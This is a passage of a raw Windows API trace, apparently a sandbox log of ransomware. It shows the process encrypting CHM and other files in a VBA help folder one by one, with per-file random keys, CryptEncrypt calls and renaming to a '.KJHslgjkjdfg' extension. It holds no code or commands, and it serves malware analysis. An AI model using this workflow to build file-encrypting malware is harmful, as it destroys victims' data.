CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.150] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.150] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x51a5b, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x51a5b, lpOverlapped=0x0) returned 1 [0190.157] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x51a60, dwBufLen=0x51a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x51a60) returned 1 [0190.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.161] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x51a60, lpOverlapped=0x0) returned 1 [0190.163] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.163] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x51b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.163] SetEndOfFile (hFile=0xf0) returned 1 [0190.166] GetProcessHeap () returned 0x2ef0000 [0190.166] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.166] GetProcessHeap () returned 0x2ef0000 [0190.166] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.kjhslgjkjdfg")) returned 1 [0190.167] CloseHandle (hObject=0xf0) returned 1 [0190.167] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0190.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.168] GetProcessHeap () returned 0x2ef0000 [0190.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.168] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.168] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0190.170] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.170] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.171] GetProcessHeap () returned 0x2ef0000 [0190.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.171] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.171] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.171] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.171] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.171] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.171] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.171] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.171] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.172] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ac96, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x1ac96, lpOverlapped=0x0) returned 1 [0190.239] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1aca0, dwBufLen=0x1aca0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1aca0) returned 1 [0190.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.241] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1aca0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1aca0, lpOverlapped=0x0) returned 1 [0190.241] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ad64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.241] SetEndOfFile (hFile=0xf0) returned 1 [0190.245] GetProcessHeap () returned 0x2ef0000 [0190.245] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.245] GetProcessHeap () returned 0x2ef0000 [0190.245] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.245] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm.kjhslgjkjdfg")) returned 1 [0190.249] CloseHandle (hObject=0xf0) returned 1 [0190.249] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0190.249] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0190.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.251] GetProcessHeap () returned 0x2ef0000 [0190.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.251] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.251] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.252] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x1, lpOverlapped=0x0) returned 1 [0190.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.282] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.282] GetProcessHeap () returned 0x2ef0000 [0190.282] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0190.282] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0190.282] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.282] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0190.283] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.283] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.323] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.323] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.323] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.323] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.323] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.324] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1195f, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x1195f, lpOverlapped=0x0) returned 1 [0190.328] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x11960, dwBufLen=0x11960 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x11960) returned 1 [0190.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.328] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x11960, lpOverlapped=0x0) returned 1 [0190.329] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.329] SetEndOfFile (hFile=0xf0) returned 1 [0190.331] GetProcessHeap () returned 0x2ef0000 [0190.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0190.331] GetProcessHeap () returned 0x2ef0000 [0190.331] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.kjhslgjkjdfg")) returned 1 [0190.332] CloseHandle (hObject=0xf0) returned 1 [0190.335] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0190.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.336] GetProcessHeap () returned 0x2ef0000 [0190.336] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.336] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.336] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x6, lpOverlapped=0x0) returned 1 [0190.338] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.338] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.338] GetProcessHeap () returned 0x2ef0000 [0190.338] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.338] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.338] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.338] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.338] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.339] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.339] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.339] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0190.339] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.339] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.339] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.339] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0xe2aa, lpOverlapped=0x0) returned 1 [0190.343] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xe2b0, dwBufLen=0xe2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0xe2b0) returned 1 [0190.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.344] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0xe2b0, lpOverlapped=0x0) returned 1 [0190.344] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.344] SetEndOfFile (hFile=0xf0) returned 1 [0190.347] GetProcessHeap () returned 0x2ef0000 [0190.347] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0190.347] GetProcessHeap () returned 0x2ef0000 [0190.347] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0190.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.kjhslgjkjdfg")) returned 1 [0190.348] CloseHandle (hObject=0xf0) returned 1 [0190.348] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0190.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0190.349] GetProcessHeap () returned 0x2ef0000 [0190.349] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0190.349] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0190.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0190.349] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xe, lpOverlapped=0x0) returned 1 [0190.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0190.352] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0190.352] GetProcessHeap () returned 0x2ef0000 [0190.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0190.352] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0190.352] CryptDestroyKey (hKey=0x2f18348) returned 1 [0190.352] WriteFile (in: hFile=0xf0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0190.352] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0190.352] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0190.352] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0190.352] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0190.352] WriteFile (in: hFile=0xf0, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, 